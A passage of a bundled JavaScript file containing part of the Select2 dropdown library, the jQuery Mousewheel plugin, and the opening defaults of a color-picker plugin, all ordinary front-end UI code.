      for (var i = 0, l = attrs.length; i < l; i = i + 1) {
        var attr = attrs[i].replace(/\s/g, '');
        var matches = attr.match(WIDTH);

        if (matches !== null && matches.length >= 1) {
          return matches[1];
        }
      }

      return null;
    }

    if (method == 'computedstyle') {
      var computedStyle = window.getComputedStyle($element[0]);

      return computedStyle.width;
    }

    return method;
  };

  Select2.prototype._bindAdapters = function () {
    this.dataAdapter.bind(this, this.$container);
    this.selection.bind(this, this.$container);

    this.dropdown.bind(this, this.$container);
    this.results.bind(this, this.$container);
  };

  Select2.prototype._registerDomEvents = function () {
    var self = this;

    this.$element.on('change.select2', function () {
      self.dataAdapter.current(function (data) {
        self.trigger('selection:update', {
          data: data
        });
      });
    });

    this.$element.on('focus.select2', function (evt) {
      self.trigger('focus', evt);
    });

    this._syncA = Utils.bind(this._syncAttributes, this);
    this._syncS = Utils.bind(this._syncSubtree, this);

    if (this.$element[0].attachEvent) {
      this.$element[0].attachEvent('onpropertychange', this._syncA);
    }

    var observer = window.MutationObserver ||
      window.WebKitMutationObserver ||
      window.MozMutationObserver
    ;

    if (observer != null) {
      this._observer = new observer(function (mutations) {
        self._syncA();
        self._syncS(null, mutations);
      });
      this._observer.observe(this.$element[0], {
        attributes: true,
        childList: true,
        subtree: false
      });
    } else if (this.$element[0].addEventListener) {
      this.$element[0].addEventListener(
        'DOMAttrModified',
        self._syncA,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeInserted',
        self._syncS,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeRemoved',
        self._syncS,
        false
      );
    }
  };

  Select2.prototype._registerDataEvents = function () {
    var self = this;

    this.dataAdapter.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerSelectionEvents = function () {
    var self = this;
    var nonRelayEvents = ['toggle', 'focus'];

    this.selection.on('toggle', function () {
      self.toggleDropdown();
    });

    this.selection.on('focus', function (params) {
      self.focus(params);
    });

    this.selection.on('*', function (name, params) {
      if ($.inArray(name, nonRelayEvents) !== -1) {
        return;
      }

      self.trigger(name, params);
    });
  };

  Select2.prototype._registerDropdownEvents = function () {
    var self = this;

    this.dropdown.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerResultsEvents = function () {
    var self = this;

    this.results.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerEvents = function () {
    var self = this;

    this.on('open', function () {
      self.$container.addClass('select2-container--open');
    });

    this.on('close', function () {
      self.$container.removeClass('select2-container--open');
    });

    this.on('enable', function () {
      self.$container.removeClass('select2-container--disabled');
    });

    this.on('disable', function () {
      self.$container.addClass('select2-container--disabled');
    });

    this.on('blur', function () {
      self.$container.removeClass('select2-container--focus');
    });

    this.on('query', function (params) {
      if (!self.isOpen()) {
        self.trigger('open', {});
      }

      this.dataAdapter.query(params, function (data) {
        self.trigger('results:all', {
          data: data,
          query: params
        });
      });
    });

    this.on('query:append', function (params) {
      this.dataAdapter.query(params, function (data) {
        self.trigger('results:append', {
          data: data,
          query: params
        });
      });
    });

    this.on('keypress', function (evt) {
      var key = evt.which;

      if (self.isOpen()) {
        if (key === KEYS.ESC || key === KEYS.TAB ||
            (key === KEYS.UP && evt.altKey)) {
          self.close(evt);

          evt.preventDefault();
        } else if (key === KEYS.ENTER) {
          self.trigger('results:select', {});

          evt.preventDefault();
        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {
          self.trigger('results:toggle', {});

          evt.preventDefault();
        } else if (key === KEYS.UP) {
          self.trigger('results:previous', {});

          evt.preventDefault();
        } else if (key === KEYS.DOWN) {
          self.trigger('results:next', {});

          evt.preventDefault();
        }
      } else {
        if (key === KEYS.ENTER || key === KEYS.SPACE ||
            (key === KEYS.DOWN && evt.altKey)) {
          self.open();

          evt.preventDefault();
        }
      }
    });
  };

  Select2.prototype._syncAttributes = function () {
    this.options.set('disabled', this.$element.prop('disabled'));

    if (this.isDisabled()) {
      if (this.isOpen()) {
        this.close();
      }

      this.trigger('disable', {});
    } else {
      this.trigger('enable', {});
    }
  };

  Select2.prototype._isChangeMutation = function (evt, mutations) {
    var changed = false;
    var self = this;

    // Ignore any mutation events raised for elements that aren't options or
    // optgroups. This handles the case when the select element is destroyed
    if (
      evt && evt.target && (
        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
      )
    ) {
      return;
    }

    if (!mutations) {
      // If mutation events aren't supported, then we can only assume that the
      // change affected the selections
      changed = true;
    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
      for (var n = 0; n < mutations.addedNodes.length; n++) {
        var node = mutations.addedNodes[n];

        if (node.selected) {
          changed = true;
        }
      }
    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
      changed = true;
    } else if ($.isArray(mutations)) {
      $.each(mutations, function(evt, mutation) {
        if (self._isChangeMutation(evt, mutation)) {
          // We've found a change mutation.
          // Let's escape from the loop and continue
          changed = true;
          return false;
        }
      });
    }
    return changed;
  };

  Select2.prototype._syncSubtree = function (evt, mutations) {
    var changed = this._isChangeMutation(evt, mutations);
    var self = this;

    // Only re-pull the data if we think there is a change
    if (changed) {
      this.dataAdapter.current(function (currentData) {
        self.trigger('selection:update', {
          data: currentData
        });
      });
    }
  };

  /**
   * Override the trigger method to automatically trigger pre-events when
   * there are events that can be prevented.
   */
  Select2.prototype.trigger = function (name, args) {
    var actualTrigger = Select2.__super__.trigger;
    var preTriggerMap = {
      'open': 'opening',
      'close': 'closing',
      'select': 'selecting',
      'unselect': 'unselecting',
      'clear': 'clearing'
    };

    if (args === undefined) {
      args = {};
    }

    if (name in preTriggerMap) {
      var preTriggerName = preTriggerMap[name];
      var preTriggerArgs = {
        prevented: false,
        name: name,
        args: args
      };

      actualTrigger.call(this, preTriggerName, preTriggerArgs);

      if (preTriggerArgs.prevented) {
        args.prevented = true;

        return;
      }
    }

    actualTrigger.call(this, name, args);
  };

  Select2.prototype.toggleDropdown = function () {
    if (this.isDisabled()) {
      return;
    }

    if (this.isOpen()) {
      this.close();
    } else {
      this.open();
    }
  };

  Select2.prototype.open = function () {
    if (this.isOpen()) {
      return;
    }

    if (this.isDisabled()) {
      return;
    }

    this.trigger('query', {});
  };

  Select2.prototype.close = function (evt) {
    if (!this.isOpen()) {
      return;
    }

    this.trigger('close', { originalEvent : evt });
  };

  /**
   * Helper method to abstract the "enabled" (not "disabled") state of this
   * object.
   *
   * @return {true} if the instance is not disabled.
   * @return {false} if the instance is disabled.
   */
  Select2.prototype.isEnabled = function () {
    return !this.isDisabled();
  };

  /**
   * Helper method to abstract the "disabled" state of this object.
   *
   * @return {true} if the disabled option is true.
   * @return {false} if the disabled option is false.
   */
  Select2.prototype.isDisabled = function () {
    return this.options.get('disabled');
  };

  Select2.prototype.isOpen = function () {
    return this.$container.hasClass('select2-container--open');
  };

  Select2.prototype.hasFocus = function () {
    return this.$container.hasClass('select2-container--focus');
  };

  Select2.prototype.focus = function (data) {
    // No need to re-trigger focus events if we are already focused
    if (this.hasFocus()) {
      return;
    }

    this.$container.addClass('select2-container--focus');
    this.trigger('focus', {});
  };

  Select2.prototype.enable = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("enable")` method has been deprecated and will' +
        ' be removed in later Select2 versions. Use $element.prop("disabled")' +
        ' instead.'
      );
    }

    if (args == null || args.length === 0) {
      args = [true];
    }

    var disabled = !args[0];

    this.$element.prop('disabled', disabled);
  };

  Select2.prototype.data = function () {
    if (this.options.get('debug') &&
        arguments.length > 0 && window.console && console.warn) {
      console.warn(
        'Select2: Data can no longer be set using `select2("data")`. You ' +
        'should consider setting the value instead using `$element.val()`.'
      );
    }

    var data = [];

    this.dataAdapter.current(function (currentData) {
      data = currentData;
    });

    return data;
  };

  Select2.prototype.val = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("val")` method has been deprecated and will be' +
        ' removed in later Select2 versions. Use $element.val() instead.'
      );
    }

    if (args == null || args.length === 0) {
      return this.$element.val();
    }

    var newVal = args[0];

    if ($.isArray(newVal)) {
      newVal = $.map(newVal, function (obj) {
        return obj.toString();
      });
    }

    this.$element.val(newVal).trigger('input').trigger('change');
  };

  Select2.prototype.destroy = function () {
    this.$container.remove();

    if (this.$element[0].detachEvent) {
      this.$element[0].detachEvent('onpropertychange', this._syncA);
    }

    if (this._observer != null) {
      this._observer.disconnect();
      this._observer = null;
    } else if (this.$element[0].removeEventListener) {
      this.$element[0]
        .removeEventListener('DOMAttrModified', this._syncA, false);
      this.$element[0]
        .removeEventListener('DOMNodeInserted', this._syncS, false);
      this.$element[0]
        .removeEventListener('DOMNodeRemoved', this._syncS, false);
    }

    this._syncA = null;
    this._syncS = null;

    this.$element.off('.select2');
    this.$element.attr('tabindex',
    Utils.GetData(this.$element[0], 'old-tabindex'));

    this.$element.removeClass('select2-hidden-accessible');
    this.$element.attr('aria-hidden', 'false');
    Utils.RemoveData(this.$element[0]);
    this.$element.removeData('select2');

    this.dataAdapter.destroy();
    this.selection.destroy();
    this.dropdown.destroy();
    this.results.destroy();

    this.dataAdapter = null;
    this.selection = null;
    this.dropdown = null;
    this.results = null;
  };

  Select2.prototype.render = function () {
    var $container = $(
      '<span class="select2 select2-container">' +
        '<span class="selection"></span>' +
        '<span class="dropdown-wrapper" aria-hidden="true"></span>' +
      '</span>'
    );

    $container.attr('dir', this.options.get('dir'));

    this.$container = $container;

    this.$container.addClass('select2-container--' + this.options.get('theme'));

    Utils.StoreData($container[0], 'element', this.$element);

    return $container;
  };

  return Select2;
});

S2.define('select2/compat/utils',[
  'jquery'
], function ($) {
  function syncCssClasses ($dest, $src, adapter) {
    var classes, replacements = [], adapted;

    classes = $.trim($dest.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Save all Select2 classes
        if (this.indexOf('select2-') === 0) {
          replacements.push(this);
        }
      });
    }

    classes = $.trim($src.attr('class'));

    if (classes) {
      classes = '' + classes; // for IE which returns object

      $(classes.split(/\s+/)).each(function () {
        // Only adapt non-Select2 classes
        if (this.indexOf('select2-') !== 0) {
          adapted = adapter(this);

          if (adapted != null) {
            replacements.push(adapted);
          }
        }
      });
    }

    $dest.attr('class', replacements.join(' '));
  }

  return {
    syncCssClasses: syncCssClasses
  };
});

S2.define('select2/compat/containerCss',[
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _containerAdapter (clazz) {
    return null;
  }

  function ContainerCSS () { }

  ContainerCSS.prototype.render = function (decorated) {
    var $container = decorated.call(this);

    var containerCssClass = this.options.get('containerCssClass') || '';

    if ($.isFunction(containerCssClass)) {
      containerCssClass = containerCssClass(this.$element);
    }

    var containerCssAdapter = this.options.get('adaptContainerCssClass');
    containerCssAdapter = containerCssAdapter || _containerAdapter;

    if (containerCssClass.indexOf(':all:') !== -1) {
      containerCssClass = containerCssClass.replace(':all:', '');

      var _cssAdapter = containerCssAdapter;

      containerCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var containerCss = this.options.get('containerCss') || {};

    if ($.isFunction(containerCss)) {
      containerCss = containerCss(this.$element);
    }

    CompatUtils.syncCssClasses($container, this.$element, containerCssAdapter);

    $container.css(containerCss);
    $container.addClass(containerCssClass);

    return $container;
  };

  return ContainerCSS;
});

S2.define('select2/compat/dropdownCss',[
  'jquery',
  './utils'
], function ($, CompatUtils) {
  // No-op CSS adapter that discards all classes by default
  function _dropdownAdapter (clazz) {
    return null;
  }

  function DropdownCSS () { }

  DropdownCSS.prototype.render = function (decorated) {
    var $dropdown = decorated.call(this);

    var dropdownCssClass = this.options.get('dropdownCssClass') || '';

    if ($.isFunction(dropdownCssClass)) {
      dropdownCssClass = dropdownCssClass(this.$element);
    }

    var dropdownCssAdapter = this.options.get('adaptDropdownCssClass');
    dropdownCssAdapter = dropdownCssAdapter || _dropdownAdapter;

    if (dropdownCssClass.indexOf(':all:') !== -1) {
      dropdownCssClass = dropdownCssClass.replace(':all:', '');

      var _cssAdapter = dropdownCssAdapter;

      dropdownCssAdapter = function (clazz) {
        var adapted = _cssAdapter(clazz);

        if (adapted != null) {
          // Append the old one along with the adapted one
          return adapted + ' ' + clazz;
        }

        return clazz;
      };
    }

    var dropdownCss = this.options.get('dropdownCss') || {};

    if ($.isFunction(dropdownCss)) {
      dropdownCss = dropdownCss(this.$element);
    }

    CompatUtils.syncCssClasses($dropdown, this.$element, dropdownCssAdapter);

    $dropdown.css(dropdownCss);
    $dropdown.addClass(dropdownCssClass);

    return $dropdown;
  };

  return DropdownCSS;
});

S2.define('select2/compat/initSelection',[
  'jquery'
], function ($) {
  function InitSelection (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `initSelection` option has been deprecated in favor' +
        ' of a custom data adapter that overrides the `current` method. ' +
        'This method is now called multiple times instead of a single ' +
        'time when the instance is initialized. Support will be removed ' +
        'for the `initSelection` option in future versions of Select2'
      );
    }

    this.initSelection = options.get('initSelection');
    this._isInitialized = false;

    decorated.call(this, $element, options);
  }

  InitSelection.prototype.current = function (decorated, callback) {
    var self = this;

    if (this._isInitialized) {
      decorated.call(this, callback);

      return;
    }

    this.initSelection.call(null, this.$element, function (data) {
      self._isInitialized = true;

      if (!$.isArray(data)) {
        data = [data];
      }

      callback(data);
    });
  };

  return InitSelection;
});

S2.define('select2/compat/inputData',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function InputData (decorated, $element, options) {
    this._currentData = [];
    this._valueSeparator = options.get('valueSeparator') || ',';

    if ($element.prop('type') === 'hidden') {
      if (options.get('debug') && console && console.warn) {
        console.warn(
          'Select2: Using a hidden input with Select2 is no longer ' +
          'supported and may stop working in the future. It is recommended ' +
          'to use a `<select>` element instead.'
        );
      }
    }

    decorated.call(this, $element, options);
  }

  InputData.prototype.current = function (_, callback) {
    function getSelected (data, selectedIds) {
      var selected = [];

      if (data.selected || $.inArray(data.id, selectedIds) !== -1) {
        data.selected = true;
        selected.push(data);
      } else {
        data.selected = false;
      }

      if (data.children) {
        selected.push.apply(selected, getSelected(data.children, selectedIds));
      }

      return selected;
    }

    var selected = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      selected.push.apply(
        selected,
        getSelected(
          data,
          this.$element.val().split(
            this._valueSeparator
          )
        )
      );
    }

    callback(selected);
  };

  InputData.prototype.select = function (_, data) {
    if (!this.options.get('multiple')) {
      this.current(function (allData) {
        $.map(allData, function (data) {
          data.selected = false;
        });
      });

      this.$element.val(data.id);
      this.$element.trigger('input').trigger('change');
    } else {
      var value = this.$element.val();
      value += this._valueSeparator + data.id;

      this.$element.val(value);
      this.$element.trigger('input').trigger('change');
    }
  };

  InputData.prototype.unselect = function (_, data) {
    var self = this;

    data.selected = false;

    this.current(function (allData) {
      var values = [];

      for (var d = 0; d < allData.length; d++) {
        var item = allData[d];

        if (data.id == item.id) {
          continue;
        }

        values.push(item.id);
      }

      self.$element.val(values.join(self._valueSeparator));
      self.$element.trigger('input').trigger('change');
    });
  };

  InputData.prototype.query = function (_, params, callback) {
    var results = [];

    for (var d = 0; d < this._currentData.length; d++) {
      var data = this._currentData[d];

      var matches = this.matches(params, data);

      if (matches !== null) {
        results.push(matches);
      }
    }

    callback({
      results: results
    });
  };

  InputData.prototype.addOptions = function (_, $options) {
    var options = $.map($options, function ($option) {
      return Utils.GetData($option[0], 'data');
    });

    this._currentData.push.apply(this._currentData, options);
  };

  return InputData;
});

S2.define('select2/compat/matcher',[
  'jquery'
], function ($) {
  function oldMatcher (matcher) {
    function wrappedMatcher (params, data) {
      var match = $.extend(true, {}, data);

      if (params.term == null || $.trim(params.term) === '') {
        return match;
      }

      if (data.children) {
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          // Check if the child object matches
          // The old matcher returned a boolean true or false
          var doesMatch = matcher(params.term, child.text, child);

          // If the child didn't match, pop it off
          if (!doesMatch) {
            match.children.splice(c, 1);
          }
        }

        if (match.children.length > 0) {
          return match;
        }
      }

      if (matcher(params.term, data.text, data)) {
        return match;
      }

      return null;
    }

    return wrappedMatcher;
  }

  return oldMatcher;
});

S2.define('select2/compat/query',[

], function () {
  function Query (decorated, $element, options) {
    if (options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `query` option has been deprecated in favor of a ' +
        'custom data adapter that overrides the `query` method. Support ' +
        'will be removed for the `query` option in future versions of ' +
        'Select2.'
      );
    }

    decorated.call(this, $element, options);
  }

  Query.prototype.query = function (_, params, callback) {
    params.callback = callback;

    var query = this.options.get('query');

    query.call(null, params);
  };

  return Query;
});

S2.define('select2/dropdown/attachContainer',[

], function () {
  function AttachContainer (decorated, $element, options) {
    decorated.call(this, $element, options);
  }

  AttachContainer.prototype.position =
    function (decorated, $dropdown, $container) {
    var $dropdownContainer = $container.find('.dropdown-wrapper');
    $dropdownContainer.append($dropdown);

    $dropdown.addClass('select2-dropdown--below');
    $container.addClass('select2-container--below');
  };

  return AttachContainer;
});

S2.define('select2/dropdown/stopPropagation',[

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
    'blur',
    'change',
    'click',
    'dblclick',
    'focus',
    'focusin',
    'focusout',
    'input',
    'keydown',
    'keyup',
    'keypress',
    'mousedown',
    'mouseenter',
    'mouseleave',
    'mousemove',
    'mouseover',
    'mouseup',
    'search',
    'touchend',
    'touchstart'
    ];

    this.$dropdown.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});

S2.define('select2/selection/stopPropagation',[

], function () {
  function StopPropagation () { }

  StopPropagation.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    var stoppedEvents = [
      'blur',
      'change',
      'click',
      'dblclick',
      'focus',
      'focusin',
      'focusout',
      'input',
      'keydown',
      'keyup',
      'keypress',
      'mousedown',
      'mouseenter',
      'mouseleave',
      'mousemove',
      'mouseover',
      'mouseup',
      'search',
      'touchend',
      'touchstart'
    ];

    this.$selection.on(stoppedEvents.join(' '), function (evt) {
      evt.stopPropagation();
    });
  };

  return StopPropagation;
});

/*!
 * jQuery Mousewheel 3.1.13
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license
 * http://jquery.org/license
 */

(function (factory) {
    if ( typeof S2.define === 'function' && S2.define.amd ) {
        // AMD. Register as an anonymous module.
        S2.define('jquery-mousewheel',['jquery'], factory);
    } else if (true) {
        // Node/CommonJS style for Browserify
        module.exports = factory;
    } else {}
}(function ($) {

    var toFix  = ['wheel', 'mousewheel', 'DOMMouseScroll', 'MozMousePixelScroll'],
        toBind = ( 'onwheel' in document || document.documentMode >= 9 ) ?
                    ['wheel'] : ['mousewheel', 'DomMouseScroll', 'MozMousePixelScroll'],
        slice  = Array.prototype.slice,
        nullLowestDeltaTimeout, lowestDelta;

    if ( $.event.fixHooks ) {
        for ( var i = toFix.length; i; ) {
            $.event.fixHooks[ toFix[--i] ] = $.event.mouseHooks;
        }
    }

    var special = $.event.special.mousewheel = {
        version: '3.1.12',

        setup: function() {
            if ( this.addEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.addEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = handler;
            }
            // Store the line height and page height for this particular element
            $.data(this, 'mousewheel-line-height', special.getLineHeight(this));
            $.data(this, 'mousewheel-page-height', special.getPageHeight(this));
        },

        teardown: function() {
            if ( this.removeEventListener ) {
                for ( var i = toBind.length; i; ) {
                    this.removeEventListener( toBind[--i], handler, false );
                }
            } else {
                this.onmousewheel = null;
            }
            // Clean up the data we added to the element
            $.removeData(this, 'mousewheel-line-height');
            $.removeData(this, 'mousewheel-page-height');
        },

        getLineHeight: function(elem) {
            var $elem = $(elem),
                $parent = $elem['offsetParent' in $.fn ? 'offsetParent' : 'parent']();
            if (!$parent.length) {
                $parent = $('body');
            }
            return parseInt($parent.css('fontSize'), 10) || parseInt($elem.css('fontSize'), 10) || 16;
        },

        getPageHeight: function(elem) {
            return $(elem).height();
        },

        settings: {
            adjustOldDeltas: true, // see shouldAdjustOldDeltas() below
            normalizeOffset: true  // calls getBoundingClientRect for each event
        }
    };

    $.fn.extend({
        mousewheel: function(fn) {
            return fn ? this.bind('mousewheel', fn) : this.trigger('mousewheel');
        },

        unmousewheel: function(fn) {
            return this.unbind('mousewheel', fn);
        }
    });


    function handler(event) {
        var orgEvent   = event || window.event,
            args       = slice.call(arguments, 1),
            delta      = 0,
            deltaX     = 0,
            deltaY     = 0,
            absDelta   = 0,
            offsetX    = 0,
            offsetY    = 0;
        event = $.event.fix(orgEvent);
        event.type = 'mousewheel';

        // Old school scrollwheel delta
        if ( 'detail'      in orgEvent ) { deltaY = orgEvent.detail * -1;      }
        if ( 'wheelDelta'  in orgEvent ) { deltaY = orgEvent.wheelDelta;       }
        if ( 'wheelDeltaY' in orgEvent ) { deltaY = orgEvent.wheelDeltaY;      }
        if ( 'wheelDeltaX' in orgEvent ) { deltaX = orgEvent.wheelDeltaX * -1; }

        // Firefox < 17 horizontal scrolling related to DOMMouseScroll event
        if ( 'axis' in orgEvent && orgEvent.axis === orgEvent.HORIZONTAL_AXIS ) {
            deltaX = deltaY * -1;
            deltaY = 0;
        }

        // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy
        delta = deltaY === 0 ? deltaX : deltaY;

        // New school wheel delta (wheel event)
        if ( 'deltaY' in orgEvent ) {
            deltaY = orgEvent.deltaY * -1;
            delta  = deltaY;
        }
        if ( 'deltaX' in orgEvent ) {
            deltaX = orgEvent.deltaX;
            if ( deltaY === 0 ) { delta  = deltaX * -1; }
        }

        // No change actually happened, no reason to go any further
        if ( deltaY === 0 && deltaX === 0 ) { return; }

        // Need to convert lines and pages to pixels if we aren't already in pixels
        // There are three delta modes:
        //   * deltaMode 0 is by pixels, nothing to do
        //   * deltaMode 1 is by lines
        //   * deltaMode 2 is by pages
        if ( orgEvent.deltaMode === 1 ) {
            var lineHeight = $.data(this, 'mousewheel-line-height');
            delta  *= lineHeight;
            deltaY *= lineHeight;
            deltaX *= lineHeight;
        } else if ( orgEvent.deltaMode === 2 ) {
            var pageHeight = $.data(this, 'mousewheel-page-height');
            delta  *= pageHeight;
            deltaY *= pageHeight;
            deltaX *= pageHeight;
        }

        // Store lowest absolute delta to normalize the delta values
        absDelta = Math.max( Math.abs(deltaY), Math.abs(deltaX) );

        if ( !lowestDelta || absDelta < lowestDelta ) {
            lowestDelta = absDelta;

            // Adjust older deltas if necessary
            if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
                lowestDelta /= 40;
            }
        }

        // Adjust older deltas if necessary
        if ( shouldAdjustOldDeltas(orgEvent, absDelta) ) {
            // Divide all the things by 40!
            delta  /= 40;
            deltaX /= 40;
            deltaY /= 40;
        }

        // Get a whole, normalized value for the deltas
        delta  = Math[ delta  >= 1 ? 'floor' : 'ceil' ](delta  / lowestDelta);
        deltaX = Math[ deltaX >= 1 ? 'floor' : 'ceil' ](deltaX / lowestDelta);
        deltaY = Math[ deltaY >= 1 ? 'floor' : 'ceil' ](deltaY / lowestDelta);

        // Normalise offsetX and offsetY properties
        if ( special.settings.normalizeOffset && this.getBoundingClientRect ) {
            var boundingRect = this.getBoundingClientRect();
            offsetX = event.clientX - boundingRect.left;
            offsetY = event.clientY - boundingRect.top;
        }

        // Add information to the event object
        event.deltaX = deltaX;
        event.deltaY = deltaY;
        event.deltaFactor = lowestDelta;
        event.offsetX = offsetX;
        event.offsetY = offsetY;
        // Go ahead and set deltaMode to 0 since we converted to pixels
        // Although this is a little odd since we overwrite the deltaX/Y
        // properties with normalized deltas.
        event.deltaMode = 0;

        // Add event and delta to the front of the arguments
        args.unshift(event, delta, deltaX, deltaY);

        // Clearout lowestDelta after sometime to better
        // handle multiple device types that give different
        // a different lowestDelta
        // Ex: trackpad = 3 and mouse wheel = 120
        if (nullLowestDeltaTimeout) { clearTimeout(nullLowestDeltaTimeout); }
        nullLowestDeltaTimeout = setTimeout(nullLowestDelta, 200);

        return ($.event.dispatch || $.event.handle).apply(this, args);
    }

    function nullLowestDelta() {
        lowestDelta = null;
    }

    function shouldAdjustOldDeltas(orgEvent, absDelta) {
        // If this is an older event and the delta is divisable by 120,
        // then we are assuming that the browser is treating this as an
        // older mouse wheel event and that we should divide the deltas
        // by 40 to try and get a more usable deltaFactor.
        // Side note, this actually impacts the reported scroll distance
        // in older browsers and can cause scrolling to be slower than native.
        // Turn this off by setting $.event.special.mousewheel.settings.adjustOldDeltas to false.
        return special.settings.adjustOldDeltas && orgEvent.type === 'mousewheel' && absDelta % 120 === 0;
    }

}));

S2.define('jquery.select2',[
  'jquery',
  'jquery-mousewheel',

  './select2/core',
  './select2/defaults',
  './select2/utils'
], function ($, _, Select2, Defaults, Utils) {
  if ($.fn.select2 == null) {
    // All methods that should return the element
    var thisMethods = ['open', 'close', 'destroy'];

    $.fn.select2 = function (options) {
      options = options || {};

      if (typeof options === 'object') {
        this.each(function () {
          var instanceOptions = $.extend(true, {}, options);

          var instance = new Select2($(this), instanceOptions);
        });

        return this;
      } else if (typeof options === 'string') {
        var ret;
        var args = Array.prototype.slice.call(arguments, 1);

        this.each(function () {
          var instance = Utils.GetData(this, 'select2');

          if (instance == null && window.console && console.error) {
            console.error(
              'The select2(\'' + options + '\') method was called on an ' +
              'element that is not using Select2.'
            );
          }

          ret = instance[options].apply(instance, args);
        });

        // Check if we should be returning `this`
        if ($.inArray(options, thisMethods) > -1) {
          return this;
        }

        return ret;
      } else {
        throw new Error('Invalid arguments for Select2: ' + options);
      }
    };
  }

  if ($.fn.select2.defaults == null) {
    $.fn.select2.defaults = Defaults;
  }

  return Select2;
});

  // Return the AMD loader configuration so it can be used outside of this file
  return {
    define: S2.define,
    require: S2.require
  };
}());

  // Autoload the jQuery bindings
  // We know that all of the modules exist above this, so we're safe
  var select2 = S2.require('jquery.select2');

  // Hold the AMD module references on the jQuery function that was just loaded
  // This allows Select2 to use the internal loader outside of this file, such
  // as in the language files.
  jQuery.fn.select2.amd = S2;

  // Return the Select2 instance for anyone who is importing it.
  return select2;
}));


/***/ }),

/***/ 505:
/***/ ((module, exports, __webpack_require__) => {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;(function (factory) {
    "use strict";

    if (true) { // AMD
        !(__WEBPACK_AMD_DEFINE_ARRAY__ = [__webpack_require__(486)], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
    }
    else {}
})(function($, undefined) {
    "use strict";

    var defaultOpts = {

        // Callbacks
        beforeShow: noop,
        move: noop,
        change: noop,
        show: noop,
        hide: noop,

        // Options
        color: false,
        flat: false, // Deprecated - use type instead
        type: '', // text, color, component or flat
        showInput: false,
        allowEmpty: true,
        showButtons: true,
        clickoutFiresChange: true,
        showInitial: false,
        showPalette: true,
        showPaletteOnly: false,
        hideAfterPaletteSelect: false,
        togglePaletteOnly: false,
        showSelectionPalette: true,
        localStorageKey: false,
        appendTo: "body",
        maxSelectionSize: 8,
        locale: "en",
        cancelText: "cancel",
        chooseText: "choose",
        togglePaletteMoreText: "more",
        togglePaletteLessText: "less",
        clearText: "Clear Color Selection",
        noColorSelectedText: "No Color Selected",
        preferredFormat: "name",
        className: "", // Deprecated - use containerClassName and replacerClassName instead.
        containerClassName: "",
        replacerClassName: "",
        showAlpha: true,
        theme: "sp-light",
        palette: [
            ["#000000","#444444","#5b5b5b","#999999","#bcbcbc","#eeeeee","#f3f6f4","#ffffff"],
            ["#f44336","#744700","#ce7e00","#8fce00","#2986cc","#16537e","#6a329f","#c90076"],
            ["#f4cccc","#fce5cd","#fff2cc","#d9ead3","#d0e0e3","#cfe2f3","#d9d2e9","#ead1dc"],
            ["#ea9999","#f9cb9c","#ffe599","#b6d7a8","#a2c4c9","#9fc5e8","#b4a7d6","#d5a6bd"],
            ["#e06666","#f6b26b","#ffd966","#93c47d","#76a5af","#6fa8dc","#8e7cc3","#c27ba0"],
            ["#cc0000","#e69138","#f1c232","#6aa84f","#45818e","#3d85c6","#674ea7","#a64d79"],
            ["#990000","#b45f06","#bf9000","#38761d","#134f5c","#0b5394","#351c75","#741b47"],
            ["#660000","#783f04","#7f6000","#274e13","#0c343d","#073763","#20124d","#4c1130"]
        ],
        selectionPalette: [],
        disabled: false,
        offset: null
    },
    spectrums = [],
    IE = !!/msie/i.exec( window.navigator.userAgent ),
    rgbaSupport = (function() {
        function contains( str, substr ) {
            return !!~('' + str).indexOf(substr);
        }

        var elem = document.createElement('div');
        var style = elem.style;
        style.cssText = 'background-color:rgba(0,0,0,.5)';
        return contains(style.backgroundColor, 'rgba') || contains(style.backgroundColor, 'hsla');
    })(),
    replaceInput = [
        "<div class='sp-replacer'>",
            "<div class='sp-preview'><div class='sp-preview-inner'></div></div>",
            "<div class='sp-dd'>&#9660;</div>",
        "</div>"
    ].join(''),
    markup = (function () {

        // IE does not support gradients with multiple stops, so we need to simulate
        //  that for the rainbow slider with 8 divs that each have a single gradient
